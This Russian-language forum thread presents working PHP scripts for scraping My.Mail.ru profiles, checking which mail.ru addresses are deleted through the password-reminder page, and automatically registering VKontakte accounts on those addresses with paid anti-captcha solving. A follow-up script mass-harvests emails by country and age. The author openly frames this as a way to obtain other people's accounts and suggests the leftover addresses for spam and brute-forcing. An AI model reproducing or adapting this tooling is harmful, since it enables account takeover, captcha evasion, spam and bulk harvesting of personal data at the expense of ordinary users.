Типа Интро = ) Все знают что Вконтакте.ру ввел ограничения и теперь чтобы зарегистрироваться нужно получить код по смс и ввести его на сайте и на один номер может быть только одна регистрация. Все регеры подохли, вконтакте быстро банит то что у нас осталось нареганого и нам остаеться только покупать аки с фейка, но они тоже живут не очень долго так как юзера меняют пароли. Если вы думаете что можно будет поиметь кучу аков то должен вас расстроить тем способом что описан будет ниже можно получить не много аков, но там будет некоторый плюс. Типа История Сижу я вообщим на ачате, читаю разную муть. И тут мне приходит сообщения от Кусто с просьбой написать скрипт (я тогда писал скрипты за отзыв). В письме он изложил полную картину того как должен работать скрипт. Тема реально новая и до такого я бы не додумался =) Суть скрипта По сколько мы не можем просто зарегать акаунт то нужно искать окольные пути, как раз Кусто нашел. Есть такой сервис МойМир (my.mail.ru) от всем знакомого нам почтовика mail.ru . При регистрации нам создаеться автоматически МойМир даже если мы им не пользуемся. Сам почтовик удаляет емейлы если им не пользовались больше 3 месяцев, но МойМир остаеться даже есть емейл сдох. Начинаете улавливать мысль ? Тоисть если найди всех «Насть» и проверить мыла то может где-то найдем свободный. Логично? А может этот мыльний есть вконтакте??? Вот Кусто и попросил меня написать скрипт который ищет всех «Насть» берет мыльник, проверяет, если он свободен то проверяет его вконтакте, если там он занят то записывает в файл. Скрипт написал. Все занятые мыла бросает в бед.тхт (может пригодиться для спама, брута), свободные мыла в гуд.тхт, а те что свободные и есть вконтакте записывает в веригуд.тхт Но есть здесь недостаток. Например оно чекнуло акаунт и он был свободен, то при повторном чеке этого ака он будет лететь в гуд =( Вот сам скрипт PHP: <form method="POST"> <center> email:<input type="text" name="email"><br> pass:<input type="text" name="pass"><br> Имя:<input type="text" name="name"><br> Фамилия:<input type="text" name="surname"><br> <input type=submit value="НАчать РАботать!!!"> </center> <?php //скрипт для поиска юзеров в МоемМире, выдерание мыла, проверка на занятость, потом чек свободных в вконтакте. //с поддержкой антикаптчи. set_time_limit(0); //////////////////////////////////////////// function curl($url,$post) { $cfile = 'cookies.txt'; $ch = curl_init(); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_POSTFIELDS, $post); curl_setopt($ch, CURLOPT_COOKIEJAR, $cfile); curl_setopt($ch, CURLOPT_COOKIEFILE, $cfile); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_POST, 1); $result = curl_exec($ch); curl_close($ch); return $result; }; /////////////////////////////// function add_file($path,$page_body) { $file=fopen($path,"a+"); fputs($file,$page_body); // close out file fclose($file); } ////////////////////////////// function recognize($filename, $apikey, $is_verbose = true, $rtimeout = 3, $mtimeout = 200, $is_phrase = 0, $is_regsense = 1, $is_numeric = 0, $min_len = 0, $max_len = 0) { if (!file_exists($filename)) { if ($is_verbose) echo "file $filename not found\n"; return false; } $postdata = array( 'method' => 'post', 'key' => $apikey, 'file' => '@'.$filename, //полный путь к файлу 'phrase' => $is_phrase, 'regsense' => $is_regsense, 'numeric' => $is_numeric, 'min_len' => $min_len, 'max_len' => $max_len, ); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'http://ac-service.info/in.php'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_TIMEOUT, 60); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $postdata); $result = curl_exec($ch); if (curl_errno($ch)) { if ($is_verbose) echo "CURL returned error: ".curl_error($ch)."\n"; return false; } curl_close($ch); if (strpos($result, "ERROR")!==false) { if ($is_verbose) echo "server returned error: $result\n"; return false; } else { $ex = explode("|", $result); $captcha_id = $ex[1]; if ($is_verbose) echo "ID $captcha_id \n"; $waittime = 0; if ($is_verbose) echo "<br>sleep $rtimeout \n"; sleep($rtimeout); while(true) { $result = file_get_contents('http://ac-service.info/res.php?key='.$apikey.'&action=get&id='.$captcha_id); if (strpos($result, 'ERROR')!==false) { if ($is_verbose) echo "server returned error: $result\n"; return false; } if ($result=="CAPCHA_NOT_READY") { if ($is_verbose) echo "<br>captcha is not ready yet\n"; $waittime += $rtimeout; if ($waittime>$mtimeout) { if ($is_verbose) echo "<br>timelimit ($mtimeout) hit\n"; break; } if ($is_verbose) echo "<br>waiting for $rtimeout seconds\n"; sleep($rtimeout); } else { $ex = explode('|', $result); if (trim($ex[0])=='OK') return trim($ex[1]); echo '<br>'.$ex[1]; } } return false; } } /////////////////////////////////////// $email = $_POST['email']; $pass = $_POST['pass']; $name = $_POST['name']; $surname = $_POST['surname']; $ak = ''; // Антикаптча ключ if(!$email||!$pass){exit('Введите даные');} list($login, $domain) = explode("@", $email); $result = curl("http://win.mail.ru/cgi-bin/auth", "Login=".$login."&Domain=".$domain."&Password=".$pass); for($page=1; $page<=10000; $page++) { $result = curl("http://my.mail.ru/my/search?page=".$page."&search=1&typeSimple=1&type=1&query=&firstname=".$name."&country=&lastname=".$surname."&city=", ""); if (preg_match('#К сожалению(.*)#iU',$result,$avtoriz)) { $page = 10001; } else { preg_match_all ('#my\.mail\.ru\/mail\/(.*)\/#iU', $result, $regs); $regs = $regs[1]; $count = count($regs); for($i=15; $i<=$count; $i++) { $i++; $result = curl("http://my.mail.ru/mail/".$regs[$i], ""); preg_match_all ('#gifts\?send=(.*)\"#iU', $result, $re); $checkemail = $re[1][0]; if(!$checkemail){} else { list($login, $domain) = explode("@",$checkemail); $result = curl("http://win.mail.ru/cgi-bin/passremind", "action=login&Username=".$login."&Domain=".$domain); $z=strpos($result, "Пользователь отсутствует."); if ($z !== false) { add_file("good.txt", $checkemail."\r\n"); $result = curl('http://vk.com/reg0?act=register&first_name='.$login.'&last_name='.$login.'®email='.$checkemail.'®pass='.$login.'&country=1&timezone=4', ''); if(strstr($result, "captcha_sid")) { preg_match_all ('#captcha_sid\"\:\"(.*)\",\"text"#iU', $result, $regs); $sid = $regs[1][0]; $result = curl("http://vk.com/captcha.php?s=1&sid=".$sid,""); file_put_contents('cap.jpg',$result); $captcha=recognize('Z:/home/norm/www/cap.jpg' ,$ak); $result = curl('http://vkontakte.ru/reg.php', 'act=register&first_name='.$login.'&last_name='.$login.'®email='.$checkemail.'®pass='.$login.'&country=1&timezone=4&by_login=0&captcha_sid='.$sid.'&captcha_key='.$captcha); if(strstr($result,'login.php?email=')) { add_file("varygood.txt", $checkemail."\r\n"); } } else { if(strstr($result,'login.php?email=')) { add_file("verygood.txt", $checkemail."\r\n"); } } } else { add_file("bad.txt", $checkemail."\r\n"); } sleep(30); } } } } ?> Нужно в самом коде добавить антикаптчакей (вконтакте раз гдето в 5 раз выскакивает каптча). Потом когда запустите его через браузер введите логин и пасс для МойМир и фамилию или имя. П.С Автор идеи (Кусто) не против того что я написал статью
Кстати могу сказать что сейчас будут многие использовать данный способ и кричать потом что мало акков и т д, Но незабывайте, что прежде чем выложить скрипт сюда им пользовались)) Да и счас начнеться)) Так что выбирайте имена типа Зульфия или Розалина))), т к счас всех Тань, Кать, Маш прочекают))
Тс,а мог бы чуть переделать свой софт и сделать просто сбор эмайлов по странам из моего мира? Без проверки вк -Просто сбор по странам.
вот PHP: <form method="POST"> <center> email:<input type="text" name="email"><br> pass:<input type="text" name="pass"><br> Имя:<input type="text" name="name"><br> Фамилия:<input type="text" name="surname"><br> Страна(номер):<input type="text" name="country"><br> Город(номер):<input type="text" name="city"><br> Возраст(age1,age2...):<input type="text" name="age"><br> <input type=submit value="НАчать РАботать!!!"> </center> <?php set_time_limit(0); function curl($url,$post) { $cfile = 'cookies.txt'; $ch = curl_init(); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_POSTFIELDS, $post); curl_setopt($ch, CURLOPT_COOKIEJAR, $cfile); curl_setopt($ch, CURLOPT_COOKIEFILE, $cfile); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_POST, 1); $result = curl_exec($ch); curl_close($ch); return $result; }; function add($path,$page_body) { $file=fopen($path,"a+"); fputs($file,$page_body); fclose($file); } $logfile = 'log.txt'; $email = $_POST['email']; $pass = $_POST['pass']; $name = $_POST['name']; $country = $_POST['country']; $city = $_POST['city']; $age = $_POST['age']; $surname = $_POST['surname']; if(!$email||!$pass){exit('Введите даные');} list($login, $domain) = explode("@", $email); $result = curl("http://win.mail.ru/cgi-bin/auth", "Login=".$login."&Domain=".$domain."&Password=".$pass); for($page=1; $page<=1000; $page++) { $result = curl("http://my.mail.ru/my/search?page=".$page."&search=1&typeSimple=1&type=1&query=&firstname=".$name."&country=".$country."&lastname=".$surname."&city=&age=".$age, ""); if (preg_match('#К сожалению(.*)#iU',$result,$avtoriz)) { exit; } else { preg_match_all ('#http://www.mail.ru/agent\?message&to=(.*)"#iU', $result, $regs); $regs = $regs[1]; $regs = implode("\r\n",$regs); add($logfile,$regs."\r\n"); } } ?> Код писал давненько, сегодня взглянул и понял что можно код было делать получше. Ну все приходит с опытом=)
Здорово) так тогда вообще скрипт написать не составит проблем, только ввод капчи ручной.. и активация с мыла.